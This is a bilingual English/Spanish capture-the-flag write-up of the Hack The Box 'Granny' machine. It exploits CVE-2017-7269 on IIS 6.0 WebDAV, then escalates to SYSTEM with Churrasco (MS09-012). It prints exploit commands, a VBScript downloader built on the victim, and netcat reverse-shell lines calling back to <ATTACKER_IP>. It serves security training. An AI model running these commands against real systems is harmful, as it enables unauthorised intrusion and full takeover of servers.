Granny
Executive summary — Granny is Grandpa's sibling: an end-of-life IIS 6.0 with WebDAV enabled is vulnerable to CVE-2017-7269, a stack buffer overflow that gives remote code execution as
NETWORK SERVICEwith nothing more than a crafted HTTP request. From there, theSeImpersonatePrivilegetoken held by that service account is abused with Churrasco (MS09-012, token kidnapping) to becomeNT AUTHORITY\SYSTEM. We solve it with the manual PoC and by hand-carrying every escalation tool onto a machine that has no download utilities of its own. A WebDAV RCE → NETWORK SERVICE → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.12.209 |
Attack map
[80] Microsoft IIS 6.0 · WebDAV (PROPFIND/PUT/MOVE/DELETE enabled)
│ CVE-2017-7269 — WebDAV stack overflow (manual PoC, port 4444)
▼
[SHELL] NT AUTHORITY\NETWORK SERVICE
│ whoami /priv → SeImpersonatePrivilege: Enabled
│ build wget.vbs on the victim · serve tools over python http.server:8000
▼
[TRANSFER] nc.exe + churrasco.exe land on C:\temp
│ listener on 5555 FIRST · churrasco.exe -d "nc.exe -e cmd.exe ..."
│ MS09-012 Token Kidnapping (Churrasco abuses SeImpersonate)
▼
[SYSTEM] NT AUTHORITY\SYSTEM
1. Reconnaissance
We start with a version-detection scan against the target:
nmap -sV -vvv -Pn -oN granny.nmap 10.129.12.209
80/tcp open http Microsoft IIS httpd 6.0
A single web port, and an IIS version that's been end-of-life for over a decade. That alone is worth investigating further, so we check exactly which HTTP methods the server accepts:
nmap --script=http-methods -p80 10.129.12.209
http-methods:
Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE
PROPFIND PROPPATCH SEARCH LOCK UNLOCK PUT
Why this matters:
PROPFIND,PUT,MOVEandDELETEare not part of a normal static web server — they're the fingerprint of WebDAV, an extension that lets clients create, move and delete files on the server over HTTP. An IIS 6.0 box with WebDAV switched on is a strong, specific signal: it's exactly the combination targeted by CVE-2017-7269.
Resumen ejecutivo — Granny es la hermana de Grandpa: un IIS 6.0 obsoleto con WebDAV habilitado es vulnerable a CVE-2017-7269, un desbordamiento de pila que da ejecución remota de código como
NETWORK SERVICEcon solo una petición HTTP manipulada. Desde ahí, el privilegioSeImpersonatePrivilegede esa cuenta de servicio se abusa con Churrasco (MS09-012, token kidnapping) para convertirnos enNT AUTHORITY\SYSTEM. Lo resolvemos con la PoC manual y llevando a mano cada herramienta de escalada a una máquina que no tiene ninguna utilidad de descarga propia. Recorrido WebDAV RCE → NETWORK SERVICE → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.12.209 |
Mapa del ataque
[80] Microsoft IIS 6.0 · WebDAV (PROPFIND/PUT/MOVE/DELETE habilitados)
│ CVE-2017-7269 — desbordamiento de pila en WebDAV (PoC manual, puerto 4444)
▼
[SHELL] NT AUTHORITY\NETWORK SERVICE
│ whoami /priv → SeImpersonatePrivilege: Enabled
│ construir wget.vbs en la víctima · servir herramientas con python http.server:8000
▼
[TRANSFERENCIA] nc.exe + churrasco.exe llegan a C:\temp
│ listener en 5555 PRIMERO · churrasco.exe -d "nc.exe -e cmd.exe ..."
│ MS09-012 Token Kidnapping (Churrasco abusa de SeImpersonate)
▼
[SYSTEM] NT AUTHORITY\SYSTEM
1. Reconocimiento
Empezamos con un escaneo de detección de versiones contra el objetivo:
nmap -sV -vvv -Pn -oN granny.nmap 10.129.12.209
80/tcp open http Microsoft IIS httpd 6.0
Un único puerto web, y una versión de IIS que lleva más de una década sin soporte. Eso ya merece investigarse más a fondo, así que comprobamos exactamente qué métodos HTTP acepta el servidor:
nmap --script=http-methods -p80 10.129.12.209
http-methods:
Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE
PROPFIND PROPPATCH SEARCH LOCK UNLOCK PUT
Por qué importa:
PROPFIND,PUT,MOVEyDELETEno forman parte de un servidor web estático normal — son la huella de WebDAV, una extensión que permite a los clientes crear, mover y borrar ficheros en el servidor por HTTP. Un IIS 6.0 con WebDAV activo es una señal fuerte y muy concreta: es exactamente la combinación que ataca CVE-2017-7269.
2. Foothold — CVE-2017-7269 (IIS 6.0 WebDAV RCE)
CVE-2017-7269 is a stack buffer overflow in the WebDAV service of IIS 6.0 (httpext.dll), triggered by an oversized If: header inside a PROPFIND request. It was exploited in the wild since 2016 before Microsoft and the public disclosure caught up in 2017 — by then IIS 6.0 was already unsupported, so no patch was ever going to ship for most installs. We use the well-known public PoC for it:
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/exploit.py
A common trap: grabbing the exploit from the regular GitHub page (instead of the
raw.githubusercontent.comURL) downloads an HTML "404: Not Found" page, not the script. Always sanity-check what actually landed on disk:
head exploit.py
It has to show Python source, not an HTML error page. With the exploit confirmed, we open our listener first and then trigger the overflow:
nc -lvnp 4444
python2.7 exploit.py 10.129.12.209 80 <ATTACKER_IP> 4444
Why
python2.7and notpython2: on a pyenv-managed Kali, the barepython2alias may not exist even though the interpreter itself is installed under its full version name. Worth checking withwhich python2.7before assuming the exploit is broken. Also, IIS 6.0's WebDAV service is genuinely fragile under this overflow — an occasionalHTTP/1.1 500 Internal Server Errorwith no callback is normal and usually just means resetting the box and firing again with the listener already up.
When it lands, the listener catches a shell:
Microsoft Windows [Version 5.2.3790]
c:\windows\system32\inetsrv>
whoami
nt authority\network service
Foothold confirmed. Before going further we check what that service account is actually allowed to do:
whoami /priv
SeImpersonatePrivilege Enabled
Why this is the whole game:
SeImpersonatePrivilegelets its holder impersonate the security token of another user context that connects to it — the exact primitive that token-kidnapping / "potato" style exploits abuse to jump straight to SYSTEM. Seeing it enabled on a low-privilege service account is the signal to go looking for MS09-012.
3. Staging the escalation tools
Windows Server 2003 ships with no PowerShell, no certutil, and no built-in way to pull a file over HTTP — so before we can run Churrasco we have to build our own downloader on the victim itself, out of a cscript-compatible VBScript:
mkdir C:\temp
cd C:\temp
echo Set xHttp = CreateObject("Microsoft.XMLHTTP") > wget.vbs
echo Set bStrm = CreateObject("Adodb.Stream") >> wget.vbs
echo xHttp.Open "GET", WScript.Arguments(0), False >> wget.vbs
echo xHttp.Send >> wget.vbs
echo With bStrm >> wget.vbs
echo .Type = 1 >> wget.vbs
echo .Open >> wget.vbs
echo .Write xHttp.responseBody >> wget.vbs
echo .SaveToFile WScript.Arguments(1), 2 >> wget.vbs
echo End With >> wget.vbs
On our own box, we fetch nc.exe and churrasco.exe and serve them over a plain HTTP server:
wget https://raw.githubusercontent.com/int0x33/nc.exe/master/nc.exe
wget https://raw.githubusercontent.com/Re4son/Churrasco/master/churrasco.exe
python3 -m http.server 8000
Then, from the victim's shell, we pull both binaries through the VBScript we just wrote:
cscript wget.vbs http://<ATTACKER_IP>:8000/nc.exe nc.exe
cscript wget.vbs http://<ATTACKER_IP>:8000/churrasco.exe churrasco.exe
Verify, don't assume: the HTTP server log on our side must show
200for both files (a404means they weren't in the folder we served from). On the victim,dirshould shownc.exeat roughly 38 KB andchurrasco.exeat roughly 31 KB — a 300–400 byte file is an HTML error page saved with an.exeextension, not a real binary, and Churrasco will silently fail to run.
4. Escalation to SYSTEM — Churrasco (MS09-012)
Churrasco automates the MS09-012 token kidnapping technique: it abuses the SeImpersonatePrivilege already confirmed on NETWORK SERVICE to grab and impersonate a SYSTEM-level token, then launches an arbitrary command inside that impersonated context. As with the initial exploit, the listener has to exist before we trigger it — launching Churrasco against a closed port is the single most common way this step silently "does nothing":
nc -lvnp 5555
churrasco.exe -d "C:\temp\nc.exe -e cmd.exe <ATTACKER_IP> 5555"
The second listener catches a new shell:
whoami
nt authority\system
SYSTEM confirmed — full compromise.
5. Flags
cd "C:\Documents and Settings\Lakis\Desktop"
type user.txt
cd "C:\Documents and Settings\Administrator\Desktop"
type root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Reconnaissance | IIS 6.0 WebDAV | Dangerous HTTP methods exposed (PROPFIND/PUT/MOVE/DELETE) | Confirms WebDAV attack surface |
| Foothold | IIS 6.0 WebDAV (httpext.dll) | CVE-2017-7269 — stack buffer overflow via oversized If: header | RCE as NETWORK SERVICE |
| PrivEsc | Windows Server 2003 service token | MS09-012 Token Kidnapping (SeImpersonatePrivilege) via Churrasco | SYSTEM |
Lessons learned
- End-of-life software is a standing RCE. IIS 6.0 with WebDAV enabled has a known, weaponized overflow (CVE-2017-7269); retiring unsupported services isn't optional hygiene, it's the difference between a scan and a shell.
- Enumerate HTTP methods, not just versions.
nmap --script=http-methodssurfacedPROPFIND/PUTbefore any exploit ran — that's the tell that should send you looking for WebDAV-specific CVEs. - Always verify what you downloaded, on both ends. GitHub 404 pages, mismatched file sizes (a real
nc.exeis ~38 KB, not 300 bytes), and HTTP server logs are cheap, fast ways to catch a broken transfer before you waste time debugging a tool that never actually arrived. - Open the listener before you trigger anything that calls back. Both the initial exploit and Churrasco fail silently — not loudly — if nothing is listening on the target port.
SeImpersonatePrivilegeon a service account is a SYSTEM ticket waiting to be cashed (Churrasco, and later the entire "Potato" family). Service accounts should run with the least privilege they actually need.
2. Punto de entrada — CVE-2017-7269 (RCE en WebDAV de IIS 6.0)
CVE-2017-7269 es un desbordamiento de pila en el servicio WebDAV de IIS 6.0 (httpext.dll), provocado por una cabecera If: desmesurada dentro de una petición PROPFIND. Se explotó en el mundo real desde 2016, antes de que Microsoft y la divulgación pública llegaran en 2017 — para entonces IIS 6.0 ya estaba sin soporte, así que ningún parche iba a llegar para la mayoría de instalaciones. Usamos la PoC pública conocida:
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/exploit.py
Una trampa habitual: descargar el exploit desde la página normal de GitHub (en vez de la URL
raw.githubusercontent.com) baja una página HTML de "404: Not Found", no el script. Comprueba siempre qué ha llegado realmente al disco:
head exploit.py
Debe mostrar código Python, no una página de error HTML. Con el exploit confirmado, abrimos primero el listener y luego disparamos el desbordamiento:
nc -lvnp 4444
python2.7 exploit.py 10.129.12.209 80 <ATTACKER_IP> 4444
Por qué
python2.7y nopython2: en un Kali gestionado con pyenv, el aliaspython2puede no existir aunque el intérprete sí esté instalado bajo su nombre de versión completo. Merece la pena comprobar conwhich python2.7antes de dar por roto el exploit. Además, el servicio WebDAV de IIS 6.0 es realmente frágil frente a este desbordamiento — unHTTP/1.1 500 Internal Server Errorocasional sin conexión de vuelta es normal, y suele significar simplemente resetear la máquina y volver a lanzarlo con el listener ya levantado.
Cuando conecta, el listener recibe una shell:
Microsoft Windows [Version 5.2.3790]
c:\windows\system32\inetsrv>
whoami
nt authority\network service
Punto de entrada confirmado. Antes de seguir, comprobamos qué puede hacer realmente esa cuenta de servicio:
whoami /priv
SeImpersonatePrivilege Enabled
Por qué esto es todo el juego:
SeImpersonatePrivilegepermite a quien lo tiene suplantar el token de seguridad de otro contexto de usuario que conecte con él — exactamente la primitiva que abusan los exploits estilo token-kidnapping/"potato" para saltar directamente a SYSTEM. Verlo habilitado en una cuenta de servicio de bajo privilegio es la señal para buscar MS09-012.
3. Preparar las herramientas de escalada
Windows Server 2003 no trae PowerShell, ni certutil, ni ninguna forma nativa de descargar un fichero por HTTP — así que antes de poder ejecutar Churrasco tenemos que construir nuestro propio descargador en la propia víctima, a partir de un VBScript compatible con cscript:
mkdir C:\temp
cd C:\temp
echo Set xHttp = CreateObject("Microsoft.XMLHTTP") > wget.vbs
echo Set bStrm = CreateObject("Adodb.Stream") >> wget.vbs
echo xHttp.Open "GET", WScript.Arguments(0), False >> wget.vbs
echo xHttp.Send >> wget.vbs
echo With bStrm >> wget.vbs
echo .Type = 1 >> wget.vbs
echo .Open >> wget.vbs
echo .Write xHttp.responseBody >> wget.vbs
echo .SaveToFile WScript.Arguments(1), 2 >> wget.vbs
echo End With >> wget.vbs
En nuestra propia máquina, descargamos nc.exe y churrasco.exe y los servimos con un servidor HTTP simple:
wget https://raw.githubusercontent.com/int0x33/nc.exe/master/nc.exe
wget https://raw.githubusercontent.com/Re4son/Churrasco/master/churrasco.exe
python3 -m http.server 8000
Luego, desde la shell de la víctima, descargamos ambos binarios con el VBScript que acabamos de escribir:
cscript wget.vbs http://<ATTACKER_IP>:8000/nc.exe nc.exe
cscript wget.vbs http://<ATTACKER_IP>:8000/churrasco.exe churrasco.exe
Verifica, no des por hecho: el log del servidor HTTP en nuestro lado debe mostrar
200para ambos ficheros (un404significa que no estaban en la carpeta desde la que servíamos). En la víctima,dirdebe mostrarnc.execon unos 38 KB ychurrasco.execon unos 31 KB — un fichero de 300–400 bytes es una página de error HTML guardada con extensión.exe, no un binario real, y Churrasco fallará en silencio al ejecutarse.
4. Escalada a SYSTEM — Churrasco (MS09-012)
Churrasco automatiza la técnica de token kidnapping de MS09-012: abusa del SeImpersonatePrivilege ya confirmado en NETWORK SERVICE para capturar y suplantar un token de nivel SYSTEM, y luego lanza un comando arbitrario dentro de ese contexto suplantado. Igual que con el exploit inicial, el listener tiene que existir antes de dispararlo — lanzar Churrasco contra un puerto cerrado es la forma más habitual de que este paso «no haga nada» en silencio:
nc -lvnp 5555
churrasco.exe -d "C:\temp\nc.exe -e cmd.exe <ATTACKER_IP> 5555"
El segundo listener recibe una shell nueva:
whoami
nt authority\system
SYSTEM confirmado — compromiso total.
5. Flags
cd "C:\Documents and Settings\Lakis\Desktop"
type user.txt
cd "C:\Documents and Settings\Administrator\Desktop"
type root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Reconocimiento | IIS 6.0 WebDAV | Métodos HTTP peligrosos expuestos (PROPFIND/PUT/MOVE/DELETE) | Confirma la superficie de ataque de WebDAV |
| Punto de entrada | IIS 6.0 WebDAV (httpext.dll) | CVE-2017-7269 — desbordamiento de pila vía cabecera If: desmesurada | RCE como NETWORK SERVICE |
| PrivEsc | Token de servicio de Windows Server 2003 | MS09-012 Token Kidnapping (SeImpersonatePrivilege) vía Churrasco | SYSTEM |
Lecciones aprendidas
- El software fin de vida es un RCE permanente. IIS 6.0 con WebDAV activo tiene un desbordamiento conocido y armado (CVE-2017-7269); retirar servicios sin soporte no es higiene opcional, es la diferencia entre un escaneo y una shell.
- Enumera métodos HTTP, no solo versiones.
nmap --script=http-methodsmostróPROPFIND/PUTantes de lanzar ningún exploit — esa es la pista que debe llevarte a buscar CVEs específicos de WebDAV. - Verifica siempre lo que has descargado, en ambos extremos. Páginas 404 de GitHub, tamaños de fichero que no cuadran (un
nc.exereal pesa ~38 KB, no 300 bytes) y los logs del servidor HTTP son formas baratas y rápidas de detectar una transferencia rota antes de perder tiempo depurando una herramienta que nunca llegó de verdad. - Abre el listener antes de disparar nada que llame de vuelta. Tanto el exploit inicial como Churrasco fallan en silencio —no de forma ruidosa— si no hay nada escuchando en el puerto objetivo.
SeImpersonatePrivilegeen una cuenta de servicio es un billete a SYSTEM esperando a cobrarse (Churrasco, y más tarde toda la familia «Potato»). Las cuentas de servicio deben correr con el mínimo privilegio que realmente necesitan.